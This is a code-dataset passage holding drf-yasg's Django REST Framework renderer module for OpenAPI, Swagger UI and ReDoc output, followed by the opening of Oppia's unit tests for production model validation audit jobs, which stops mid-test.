[ "BSD-3-Clause" ]

null

src/drf_yasg/renderers.py

yihuang/drf-yasg

e860ce315f85b93731b5d7a7dfcc91149d2a1948

[ "BSD-3-Clause" ]

null

import six from django.shortcuts import render, resolve_url from django.utils.functional import Promise from rest_framework.renderers import BaseRenderer, JSONRenderer, TemplateHTMLRenderer from rest_framework.utils import json from .app_settings import redoc_settings, swagger_settings from .codecs import VALIDATORS, OpenAPICodecJson, OpenAPICodecYaml from .openapi import Swagger from .utils import filter_none class _SpecRenderer(BaseRenderer): """Base class for text renderers. Handles encoding and validation.""" charset = 'utf-8' validators = [] codec_class = None @classmethod def with_validators(cls, validators): assert all(vld in VALIDATORS for vld in validators), "allowed validators are " + ", ".join(VALIDATORS) return type(cls.__name__, (cls,), {'validators': validators}) def render(self, data, media_type=None, renderer_context=None): assert self.codec_class, "must override codec_class" codec = self.codec_class(self.validators) if not isinstance(data, Swagger): # pragma: no cover # if `swagger` is not a ``Swagger`` object, it means we somehow got a non-success ``Response`` # in that case, it's probably better to let the default ``JSONRenderer`` render it # see https://github.com/axnsan12/drf-yasg/issues/58 return JSONRenderer().render(data, media_type, renderer_context) return codec.encode(data) class OpenAPIRenderer(_SpecRenderer): """Renders the schema as a JSON document with the ``application/openapi+json`` specific mime type.""" media_type = 'application/openapi+json' format = 'openapi' codec_class = OpenAPICodecJson class SwaggerJSONRenderer(_SpecRenderer): """Renders the schema as a JSON document with the generic ``application/json`` mime type.""" media_type = 'application/json' format = '.json' codec_class = OpenAPICodecJson class SwaggerYAMLRenderer(_SpecRenderer): """Renders the schema as a YAML document.""" media_type = 'application/yaml' format = '.yaml' codec_class = OpenAPICodecYaml class _UIRenderer(BaseRenderer): """Base class for web UI renderers. Handles loading and passing settings to the appropriate template.""" media_type = 'text/html' charset = 'utf-8' template = '' def render(self, swagger, accepted_media_type=None, renderer_context=None): if not isinstance(swagger, Swagger): # pragma: no cover # if `swagger` is not a ``Swagger`` object, it means we somehow got a non-success ``Response`` # in that case, it's probably better to let the default ``TemplateHTMLRenderer`` render it # see https://github.com/axnsan12/drf-yasg/issues/58 return TemplateHTMLRenderer().render(swagger, accepted_media_type, renderer_context) self.set_context(renderer_context, swagger) return render(renderer_context['request'], self.template, renderer_context) def set_context(self, renderer_context, swagger=None): renderer_context['title'] = swagger.info.title or '' if swagger else '' renderer_context['version'] = swagger.info.version or '' if swagger else '' renderer_context['oauth2_config'] = json.dumps(self.get_oauth2_config()) renderer_context['USE_SESSION_AUTH'] = swagger_settings.USE_SESSION_AUTH renderer_context.update(self.get_auth_urls()) def resolve_url(self, to): if isinstance(to, Promise): to = str(to) if to is None: return None args, kwargs = None, None if not isinstance(to, six.string_types): if len(to) > 2: to, args, kwargs = to elif len(to) == 2: to, kwargs = to args = args or () kwargs = kwargs or {} return resolve_url(to, *args, **kwargs) def get_auth_urls(self): urls = { 'LOGIN_URL': self.resolve_url(swagger_settings.LOGIN_URL), 'LOGOUT_URL': self.resolve_url(swagger_settings.LOGOUT_URL), } return filter_none(urls) def get_oauth2_config(self): data = swagger_settings.OAUTH2_CONFIG assert isinstance(data, dict), "OAUTH2_CONFIG must be a dict" return data class SwaggerUIRenderer(_UIRenderer): """Renders a swagger-ui web interface for schema browisng.""" template = 'drf-yasg/swagger-ui.html' format = 'swagger' def set_context(self, renderer_context, swagger=None): super(SwaggerUIRenderer, self).set_context(renderer_context, swagger) renderer_context['swagger_settings'] = json.dumps(self.get_swagger_ui_settings()) def get_swagger_ui_settings(self): data = { 'url': self.resolve_url(swagger_settings.SPEC_URL), 'operationsSorter': swagger_settings.OPERATIONS_SORTER, 'tagsSorter': swagger_settings.TAGS_SORTER, 'docExpansion': swagger_settings.DOC_EXPANSION, 'deepLinking': swagger_settings.DEEP_LINKING, 'showExtensions': swagger_settings.SHOW_EXTENSIONS, 'defaultModelRendering': swagger_settings.DEFAULT_MODEL_RENDERING, 'defaultModelExpandDepth': swagger_settings.DEFAULT_MODEL_DEPTH, 'defaultModelsExpandDepth': swagger_settings.DEFAULT_MODEL_DEPTH, 'showCommonExtensions': swagger_settings.SHOW_COMMON_EXTENSIONS, 'oauth2RedirectUrl': swagger_settings.OAUTH2_REDIRECT_URL, 'supportedSubmitMethods': swagger_settings.SUPPORTED_SUBMIT_METHODS, 'displayOperationId': swagger_settings.DISPLAY_OPERATION_ID, 'persistAuth': swagger_settings.PERSIST_AUTH, 'refetchWithAuth': swagger_settings.REFETCH_SCHEMA_WITH_AUTH, 'refetchOnLogout': swagger_settings.REFETCH_SCHEMA_ON_LOGOUT, 'fetchSchemaWithQuery': swagger_settings.FETCH_SCHEMA_WITH_QUERY, } data = filter_none(data) if swagger_settings.VALIDATOR_URL != '': data['validatorUrl'] = self.resolve_url(swagger_settings.VALIDATOR_URL) return data class ReDocRenderer(_UIRenderer): """Renders a ReDoc web interface for schema browisng.""" template = 'drf-yasg/redoc.html' format = 'redoc' def set_context(self, renderer_context, swagger=None): super(ReDocRenderer, self).set_context(renderer_context, swagger) renderer_context['redoc_settings'] = json.dumps(self.get_redoc_settings()) def get_redoc_settings(self): data = { 'url': self.resolve_url(redoc_settings.SPEC_URL), 'lazyRendering': redoc_settings.LAZY_RENDERING, 'hideHostname': redoc_settings.HIDE_HOSTNAME, 'expandResponses': redoc_settings.EXPAND_RESPONSES, 'pathInMiddlePanel': redoc_settings.PATH_IN_MIDDLE, 'nativeScrollbars': redoc_settings.NATIVE_SCROLLBARS, 'requiredPropsFirst': redoc_settings.REQUIRED_PROPS_FIRST, 'fetchSchemaWithQuery': redoc_settings.FETCH_SCHEMA_WITH_QUERY, } return filter_none(data) class ReDocOldRenderer(ReDocRenderer): """Renders a ReDoc 1.x.x web interface for schema browisng.""" template = 'drf-yasg/redoc-old.html'

41.096045

110

0.690267

import six from django.shortcuts import render, resolve_url from django.utils.functional import Promise from rest_framework.renderers import BaseRenderer, JSONRenderer, TemplateHTMLRenderer from rest_framework.utils import json from .app_settings import redoc_settings, swagger_settings from .codecs import VALIDATORS, OpenAPICodecJson, OpenAPICodecYaml from .openapi import Swagger from .utils import filter_none class _SpecRenderer(BaseRenderer): charset = 'utf-8' validators = [] codec_class = None @classmethod def with_validators(cls, validators): assert all(vld in VALIDATORS for vld in validators), "allowed validators are " + ", ".join(VALIDATORS) return type(cls.__name__, (cls,), {'validators': validators}) def render(self, data, media_type=None, renderer_context=None): assert self.codec_class, "must override codec_class" codec = self.codec_class(self.validators) if not isinstance(data, Swagger): # see https://github.com/axnsan12/drf-yasg/issues/58 return JSONRenderer().render(data, media_type, renderer_context) return codec.encode(data) class OpenAPIRenderer(_SpecRenderer): media_type = 'application/openapi+json' format = 'openapi' codec_class = OpenAPICodecJson class SwaggerJSONRenderer(_SpecRenderer): media_type = 'application/json' format = '.json' codec_class = OpenAPICodecJson class SwaggerYAMLRenderer(_SpecRenderer): media_type = 'application/yaml' format = '.yaml' codec_class = OpenAPICodecYaml class _UIRenderer(BaseRenderer): media_type = 'text/html' charset = 'utf-8' template = '' def render(self, swagger, accepted_media_type=None, renderer_context=None): if not isinstance(swagger, Swagger): # pragma: no cover # if `swagger` is not a ``Swagger`` object, it means we somehow got a non-success ``Response`` # in that case, it's probably better to let the default ``TemplateHTMLRenderer`` render it return TemplateHTMLRenderer().render(swagger, accepted_media_type, renderer_context) self.set_context(renderer_context, swagger) return render(renderer_context['request'], self.template, renderer_context) def set_context(self, renderer_context, swagger=None): renderer_context['title'] = swagger.info.title or '' if swagger else '' renderer_context['version'] = swagger.info.version or '' if swagger else '' renderer_context['oauth2_config'] = json.dumps(self.get_oauth2_config()) renderer_context['USE_SESSION_AUTH'] = swagger_settings.USE_SESSION_AUTH renderer_context.update(self.get_auth_urls()) def resolve_url(self, to): if isinstance(to, Promise): to = str(to) if to is None: return None args, kwargs = None, None if not isinstance(to, six.string_types): if len(to) > 2: to, args, kwargs = to elif len(to) == 2: to, kwargs = to args = args or () kwargs = kwargs or {} return resolve_url(to, *args, **kwargs) def get_auth_urls(self): urls = { 'LOGIN_URL': self.resolve_url(swagger_settings.LOGIN_URL), 'LOGOUT_URL': self.resolve_url(swagger_settings.LOGOUT_URL), } return filter_none(urls) def get_oauth2_config(self): data = swagger_settings.OAUTH2_CONFIG assert isinstance(data, dict), "OAUTH2_CONFIG must be a dict" return data class SwaggerUIRenderer(_UIRenderer): template = 'drf-yasg/swagger-ui.html' format = 'swagger' def set_context(self, renderer_context, swagger=None): super(SwaggerUIRenderer, self).set_context(renderer_context, swagger) renderer_context['swagger_settings'] = json.dumps(self.get_swagger_ui_settings()) def get_swagger_ui_settings(self): data = { 'url': self.resolve_url(swagger_settings.SPEC_URL), 'operationsSorter': swagger_settings.OPERATIONS_SORTER, 'tagsSorter': swagger_settings.TAGS_SORTER, 'docExpansion': swagger_settings.DOC_EXPANSION, 'deepLinking': swagger_settings.DEEP_LINKING, 'showExtensions': swagger_settings.SHOW_EXTENSIONS, 'defaultModelRendering': swagger_settings.DEFAULT_MODEL_RENDERING, 'defaultModelExpandDepth': swagger_settings.DEFAULT_MODEL_DEPTH, 'defaultModelsExpandDepth': swagger_settings.DEFAULT_MODEL_DEPTH, 'showCommonExtensions': swagger_settings.SHOW_COMMON_EXTENSIONS, 'oauth2RedirectUrl': swagger_settings.OAUTH2_REDIRECT_URL, 'supportedSubmitMethods': swagger_settings.SUPPORTED_SUBMIT_METHODS, 'displayOperationId': swagger_settings.DISPLAY_OPERATION_ID, 'persistAuth': swagger_settings.PERSIST_AUTH, 'refetchWithAuth': swagger_settings.REFETCH_SCHEMA_WITH_AUTH, 'refetchOnLogout': swagger_settings.REFETCH_SCHEMA_ON_LOGOUT, 'fetchSchemaWithQuery': swagger_settings.FETCH_SCHEMA_WITH_QUERY, } data = filter_none(data) if swagger_settings.VALIDATOR_URL != '': data['validatorUrl'] = self.resolve_url(swagger_settings.VALIDATOR_URL) return data class ReDocRenderer(_UIRenderer): template = 'drf-yasg/redoc.html' format = 'redoc' def set_context(self, renderer_context, swagger=None): super(ReDocRenderer, self).set_context(renderer_context, swagger) renderer_context['redoc_settings'] = json.dumps(self.get_redoc_settings()) def get_redoc_settings(self): data = { 'url': self.resolve_url(redoc_settings.SPEC_URL), 'lazyRendering': redoc_settings.LAZY_RENDERING, 'hideHostname': redoc_settings.HIDE_HOSTNAME, 'expandResponses': redoc_settings.EXPAND_RESPONSES, 'pathInMiddlePanel': redoc_settings.PATH_IN_MIDDLE, 'nativeScrollbars': redoc_settings.NATIVE_SCROLLBARS, 'requiredPropsFirst': redoc_settings.REQUIRED_PROPS_FIRST, 'fetchSchemaWithQuery': redoc_settings.FETCH_SCHEMA_WITH_QUERY, } return filter_none(data) class ReDocOldRenderer(ReDocRenderer): template = 'drf-yasg/redoc-old.html'

true

790c61d66ec9360ba20d79b6857506daf66299c9

287,940

py

Python

core/domain/prod_validation_jobs_one_off_test.py

cclauss/oppia

7ad9d06e434c589f0aaa015252ca65872557b7eb

[ "Apache-2.0" ]

null

core/domain/prod_validation_jobs_one_off_test.py

cclauss/oppia

7ad9d06e434c589f0aaa015252ca65872557b7eb

[ "Apache-2.0" ]

null

core/domain/prod_validation_jobs_one_off_test.py

cclauss/oppia

7ad9d06e434c589f0aaa015252ca65872557b7eb

[ "Apache-2.0" ]

null

# coding: utf-8 # # Copyright 2019 The Oppia Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Unit tests for core.domain.prod_validation_jobs_one_off.""" import ast import datetime import math import random import time import types from constants import constants from core import jobs_registry from core.domain import collection_domain from core.domain import collection_services from core.domain import exp_domain from core.domain import exp_services from core.domain import feedback_services from core.domain import prod_validation_jobs_one_off from core.domain import rating_services from core.domain import recommendations_services from core.domain import rights_manager from core.domain import story_domain from core.domain import story_services from core.domain import subscription_services from core.domain import topic_domain from core.domain import topic_services from core.domain import user_services from core.platform import models from core.platform.taskqueue import gae_taskqueue_services as taskqueue_services from core.tests import test_utils import feconf from google.appengine.api import datastore_types from google.appengine.ext import db gae_search_services = models.Registry.import_search_services() USER_EMAIL = 'useremail@example.com' USER_NAME = 'username' CURRENT_DATETIME = datetime.datetime.utcnow() ( activity_models, audit_models, base_models, collection_models, config_models, email_models, exp_models, feedback_models, file_models, recommendations_models, story_models, user_models,) = ( models.Registry.import_models([ models.NAMES.activity, models.NAMES.audit, models.NAMES.base_model, models.NAMES.collection, models.NAMES.config, models.NAMES.email, models.NAMES.exploration, models.NAMES.feedback, models.NAMES.file, models.NAMES.recommendations, models.NAMES.story, models.NAMES.user])) OriginalDatetimeType = datetime.datetime class PatchedDatetimeType(type): """Validates the datetime instances.""" def __instancecheck__(cls, other): """Validates whether the given instance is a datatime instance. """ return isinstance(other, OriginalDatetimeType) class MockDatetime13Hours(datetime.datetime): __metaclass__ = PatchedDatetimeType @classmethod def utcnow(cls): """Returns the current date and time 13 hours behind UTC.""" return CURRENT_DATETIME - datetime.timedelta(hours=13) def run_job_and_check_output( self, expected_output, sort=False, literal_eval=False): """Helper function to run job and compare output.""" job_id = self.job_class.create_new() self.assertEqual( self.count_jobs_in_taskqueue( taskqueue_services.QUEUE_NAME_ONE_OFF_JOBS), 0) self.job_class.enqueue(job_id) self.assertEqual( self.count_jobs_in_taskqueue( taskqueue_services.QUEUE_NAME_ONE_OFF_JOBS), 1) self.process_and_flush_pending_tasks() actual_output = self.job_class.get_output(job_id) if literal_eval: actual_output_dict = {} expected_output_dict = {} for item in [ast.literal_eval(value) for value in actual_output]: value = item[1] if isinstance(value, list): value = sorted(value) actual_output_dict[item[0]] = value for item in [ast.literal_eval(value) for value in expected_output]: value = item[1] if isinstance(value, list): value = sorted(value) expected_output_dict[item[0]] = value self.assertEqual( sorted(actual_output_dict.keys()), sorted(expected_output_dict.keys())) for key in actual_output_dict: self.assertEqual(actual_output_dict[key], expected_output_dict[key]) elif sort: self.assertEqual(sorted(actual_output), sorted(expected_output)) else: self.assertEqual(actual_output, expected_output) def update_datastore_types_for_mock_datetime(): """Updates datastore types for MockDatetime13Hours to ensure that validation of ndb datetime properties does not fail. """ # pylint: disable=protected-access datastore_types._VALIDATE_PROPERTY_VALUES[MockDatetime13Hours] = ( datastore_types.ValidatePropertyNothing) datastore_types._PACK_PROPERTY_VALUES[MockDatetime13Hours] = ( datastore_types.PackDatetime) datastore_types._PROPERTY_MEANINGS[MockDatetime13Hours] = ( datastore_types.entity_pb.Property.GD_WHEN) # pylint: enable=protected-access class MockModel(base_models.BaseModel): pass class MockSnapshotModel(base_models.BaseModel): commit_type = 'edit' commit_cmds = [] class MockBaseModelValidator(prod_validation_jobs_one_off.BaseModelValidator): pass class MockSummaryModelValidator( prod_validation_jobs_one_off.BaseSummaryModelValidator): @classmethod def _get_external_id_relationships(cls, item): return {} class MockSnapshotContentModelValidator( prod_validation_jobs_one_off.BaseSnapshotContentModelValidator): @classmethod def _get_external_id_relationships(cls, item): return {} class MockSnapshotMetadataModelValidator( prod_validation_jobs_one_off.BaseSnapshotMetadataModelValidator): EXTERNAL_MODEL_NAME = 'external model' @classmethod def _get_external_id_relationships(cls, item): return { 'external_model_ids': (MockModel, []) } class NotImplementedErrorTests(test_utils.GenericTestBase): def setUp(self): super(NotImplementedErrorTests, self).setUp() self.item = MockModel(id='mockmodel') self.item.put() def test_error_is_raised_if_fetch_external_properties_is_undefined(self): with self.assertRaises(NotImplementedError): MockBaseModelValidator().validate(self.item) def test_error_is_get_external_model_properties_is_undefined(self): with self.assertRaises(NotImplementedError): MockSummaryModelValidator().validate(self.item) def test_error_is_raised_if_external_model_name_is_undefined(self): with self.assertRaisesRegexp( Exception, 'External model name should be specified'): MockSnapshotContentModelValidator().validate(self.item) def test_error_is_raised_if_get_change_domain_class_is_undefined(self): with self.assertRaises(NotImplementedError): snapshot_model = MockSnapshotModel(id='mockmodel') snapshot_model.put() MockSnapshotMetadataModelValidator().validate(snapshot_model) def test_error_is_raised_if_entity_classes_to_map_over_is_undefined(self): job_class = prod_validation_jobs_one_off.ProdValidationAuditOneOffJob with self.assertRaises(NotImplementedError), self.swap( jobs_registry, 'ONE_OFF_JOB_MANAGERS', [job_class]): job_id = job_class.create_new() job_class.enqueue(job_id) self.process_and_flush_pending_tasks() class ActivityReferencesModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ActivityReferencesModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.owner = user_services.UserActionsInfo(self.owner_id) exploration = exp_domain.Exploration.create_default_exploration( '1exp', title='title', category='category') exp_services.save_new_exploration(self.owner_id, exploration) collection = collection_domain.Collection.create_default_collection( '1col', title='title', category='category') collection_services.save_new_collection(self.owner_id, collection) self.model_instance = ( activity_models.ActivityReferencesModel.get_or_create('featured')) self.model_instance.activity_references = [{ 'type': constants.ACTIVITY_TYPE_EXPLORATION, 'id': '1exp', }, { 'type': constants.ACTIVITY_TYPE_COLLECTION, 'id': '1col', }] self.model_instance.put() self.job_class = ( prod_validation_jobs_one_off.ActivityReferencesModelAuditOneOffJob) def test_standard_model(self): expected_output = [u'[u\'fully-validated ActivityReferencesModel\', 1]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ActivityReferencesModel\', ' '[u\'Entity id featured: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.created_on, self.model_instance.last_updated )] run_job_and_check_output(self, expected_output) def test_model_with_last_updated_greater_than_current_time(self): expected_output = [( u'[u\'failed validation check for current time check of ' 'ActivityReferencesModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_missing_id_in_activity_references(self): self.model_instance.activity_references = [{ 'type': 'exploration', }] self.model_instance.put() expected_output = [( u'[u\'failed validation check for fetch properties of ' 'ActivityReferencesModel\', ' '[u"Entity id featured: Entity properties cannot be fetched ' 'completely with the error \'id\'"]]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_type_in_activity_references(self): self.model_instance.activity_references = [{ 'type': 'invalid_type', 'id': '0' }] self.model_instance.put() expected_output = [( u'[u\'failed validation check for domain object check of ' 'ActivityReferencesModel\', ' '[u\'Entity id featured: Entity fails domain validation with the ' 'error Invalid activity type: invalid_type\']]')] run_job_and_check_output(self, expected_output) def test_model_with_invalid_id_in_activity_references(self): self.model_instance.activity_references = [{ 'type': 'exploration', 'id': '1col' }] self.model_instance.put() expected_output = [( u'[u\'failed validation check for exploration_ids field check of ' 'ActivityReferencesModel\', ' '[u"Entity id featured: based on field exploration_ids having ' 'value 1col, expect model ExplorationModel with id 1col but ' 'it doesn\'t exist"]]')] run_job_and_check_output(self, expected_output) def test_mock_model_with_invalid_id(self): model_instance_with_invalid_id = ( activity_models.ActivityReferencesModel(id='invalid')) model_instance_with_invalid_id.put() expected_output = [( u'[u\'fully-validated ActivityReferencesModel\', 1]' ), ( u'[u\'failed validation check for model id check of ' 'ActivityReferencesModel\', ' '[u\'Entity id invalid: Entity id does not match regex pattern\']]' )] run_job_and_check_output(self, expected_output, sort=True) class RoleQueryAuditModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(RoleQueryAuditModelValidatorTests, self).setUp() self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL) admin_model = user_models.UserSettingsModel.get_by_id(self.admin_id) admin_model.role = feconf.ROLE_ID_ADMIN admin_model.put() model_id = '%s.%s.%s.%s' % ( self.admin_id, int(math.floor(time.time())), feconf.ROLE_ACTION_UPDATE, random.randint(0, 1000)) self.model_instance = audit_models.RoleQueryAuditModel( id=model_id, user_id=self.admin_id, intent=feconf.ROLE_ACTION_UPDATE, role='c', username='d') self.model_instance.put() self.job_class = ( prod_validation_jobs_one_off.RoleQueryAuditModelAuditOneOffJob) def test_standard_model(self): expected_output = [u'[u\'fully-validated RoleQueryAuditModel\', 1]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of RoleQueryAuditModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated )] run_job_and_check_output(self, expected_output) def test_model_with_last_updated_greater_than_current_time(self): expected_output = [( u'[u\'failed validation check for current time check of ' 'RoleQueryAuditModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_non_existent_user_id(self): user_models.UserSettingsModel.get(self.admin_id).delete() expected_output = [( u'[u\'failed validation check for user_ids field check of ' 'RoleQueryAuditModel\', ' '[u"Entity id %s: based on field user_ids having value ' '%s, expect model UserSettingsModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.admin_id, self.admin_id)] run_job_and_check_output(self, expected_output) def test_model_with_invalid_id(self): model_invalid_id = '%s.%s.%s.%s' % ( 'a', int(math.floor(time.time())), feconf.ROLE_ACTION_UPDATE, random.randint(0, 1000)) model_instance_with_invalid_id = audit_models.RoleQueryAuditModel( id=model_invalid_id, user_id=self.admin_id, intent=feconf.ROLE_ACTION_UPDATE, role='c', username='d') model_instance_with_invalid_id.put() expected_output = [( u'[u\'fully-validated RoleQueryAuditModel\', 1]' ), ( u'[u\'failed validation check for model id check of ' 'RoleQueryAuditModel\', ' '[u\'Entity id %s: Entity id does not match regex pattern\']]' ) % model_invalid_id] run_job_and_check_output(self, expected_output, sort=True) class CollectionModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(CollectionModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) language_codes = ['ar', 'en', 'en'] collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, language_code=language_codes[i] ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) collection_services.save_new_collection(self.owner_id, collection) self.model_instance_0 = collection_models.CollectionModel.get_by_id('0') self.model_instance_1 = collection_models.CollectionModel.get_by_id('1') self.model_instance_2 = collection_models.CollectionModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.CollectionModelAuditOneOffJob) def test_standard_operation(self): collection_services.update_collection( self.owner_id, '0', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') expected_output = [ u'[u\'fully-validated CollectionModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit( feconf.SYSTEM_COMMITTER_ID, 'created_on test', []) expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of CollectionModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') self.model_instance_2.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_collection_schema(self): expected_output = [ ( u'[u\'failed validation check for domain object check of ' 'CollectionModel\', ' '[u\'Entity id %s: Entity fails domain validation with the ' 'error Invalid language code: %s\']]' ) % (self.model_instance_0.id, self.model_instance_0.language_code), u'[u\'fully-validated CollectionModel\', 2]'] with self.swap( constants, 'ALL_LANGUAGE_CODES', [{ 'code': 'en', 'description': 'English'}]): run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('1').delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for ' 'exploration_ids field check of CollectionModel\', ' '[u"Entity id 0: based on field exploration_ids having value ' '1, expect model ExplorationModel ' 'with id 1 but it doesn\'t exist"]]' ), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_commit_log_entry_model_failure(self): collection_services.update_collection( self.owner_id, '0', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') collection_models.CollectionCommitLogEntryModel.get_by_id( 'collection-0-1').delete() expected_output = [ ( u'[u\'failed validation check for ' 'collection_commit_log_entry_ids field check of ' 'CollectionModel\', ' '[u"Entity id 0: based on field ' 'collection_commit_log_entry_ids having value ' 'collection-0-1, expect model CollectionCommitLogEntryModel ' 'with id collection-0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_summary_model_failure(self): collection_models.CollectionSummaryModel.get_by_id('0').delete() expected_output = [ ( u'[u\'failed validation check for collection_summary_ids ' 'field check of CollectionModel\', ' '[u"Entity id 0: based on field collection_summary_ids ' 'having value 0, expect model CollectionSummaryModel with ' 'id 0 but it doesn\'t exist"]]'), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_rights_model_failure(self): collection_models.CollectionRightsModel.get_by_id( '0').delete(feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for collection_rights_ids ' 'field check of CollectionModel\', ' '[u"Entity id 0: based on field collection_rights_ids having ' 'value 0, expect model CollectionRightsModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): collection_models.CollectionSnapshotMetadataModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of CollectionModel\', ' '[u"Entity id 0: based on field snapshot_metadata_ids having ' 'value 0-1, expect model CollectionSnapshotMetadataModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): collection_models.CollectionSnapshotContentModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of CollectionModel\', ' '[u"Entity id 0: based on field snapshot_content_ids having ' 'value 0-1, expect model CollectionSnapshotContentModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class CollectionSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(CollectionSnapshotMetadataModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) if collection.id != '0': collection_services.save_new_collection( self.owner_id, collection) else: collection_services.save_new_collection( self.user_id, collection) self.model_instance_0 = ( collection_models.CollectionSnapshotMetadataModel.get_by_id( '0-1')) self.model_instance_1 = ( collection_models.CollectionSnapshotMetadataModel.get_by_id( '1-1')) self.model_instance_2 = ( collection_models.CollectionSnapshotMetadataModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .CollectionSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): collection_services.update_collection( self.owner_id, '0', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') 